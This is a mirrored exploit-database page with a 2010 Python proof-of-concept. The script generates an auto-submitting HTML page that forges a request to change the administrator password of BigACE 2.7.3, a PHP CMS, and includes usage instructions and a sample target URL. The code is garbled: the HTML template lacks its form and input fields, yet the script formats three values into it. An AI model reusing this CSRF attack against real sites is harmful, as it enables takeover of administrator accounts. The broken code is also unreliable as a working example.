BigACE 2.7.3 – Cross-Site Request Forgery (Change Admin Password) - 体验盒子

作者： Sweet

日期： 2010-10-26

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/15320/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

#!/usr/bin/python

#Exploit Title : Bigace_2.7.3 CSRF Change admin password POC

#Software : Bigace 2.7.3

#Software link : http://www.bigace.de/download.html

#Autor : Sweet

#Email : charif38@hotmail.fr

#Date: 26/10/2010

#Software version : 2.7.3

#Software detail: BIGACE - Dynamic Web CMS - is a free, professional grade software package that allows you to set up your own Website within minutes.

# Its powerful backend puts you in full control of the layout, service and content of your Pages.

# BIGACE is written in the popular language PHP and uses a MySQL database. It is designed to provide #you with all the features you

# need from a CMS while having an absolute minimal impact on the resources of the server.

#Vulnerability detail: Also known as a one-click attack or session riding and abbreviated as CSRF or XSRF, is a type of malicious exploit of a website

#whereby unauthorized commands are transmitted from a user that the website trusts.

#Unlike cross-site scripting (XSS), which exploits the trust a user has for a particular site, CSRF exploits the trust that a site has in a user's browser.

#int two word you need the cookie of the user that you wanna attack

#thx toHeni Kraiem , Milw0rm.com , JF - Hamst0r - Keystroke) R.I.P, inj3ct0r.com ,exploit-db.com, packetstormsecurity.org, http://ha.ckers.org

#et 1,2,3 viva L'Algerie

import sys

if len(sys.argv) != 3:

print """Usage:

./exploit.py <Url and bigace patch> <Your new password>

Example:

./exploit.py http://172.16.233.128:80/bigacecms/ mypassword """

quit()

url = sys.argv[1]

passw = sys.argv[2]

Skel ="""<body onload="document.getElementById('1').submit()">

</form> """ % (url,passw,passw)

try :

print "[+] Writing the exploit [+]"

FP = file("bigaceCSRF.html" , "w")

FP.write(Skel)

FP.close()

print "[+] Exploit writed succesfully [+]"

except :

print "[+] Error while trying to write the exploit [+]"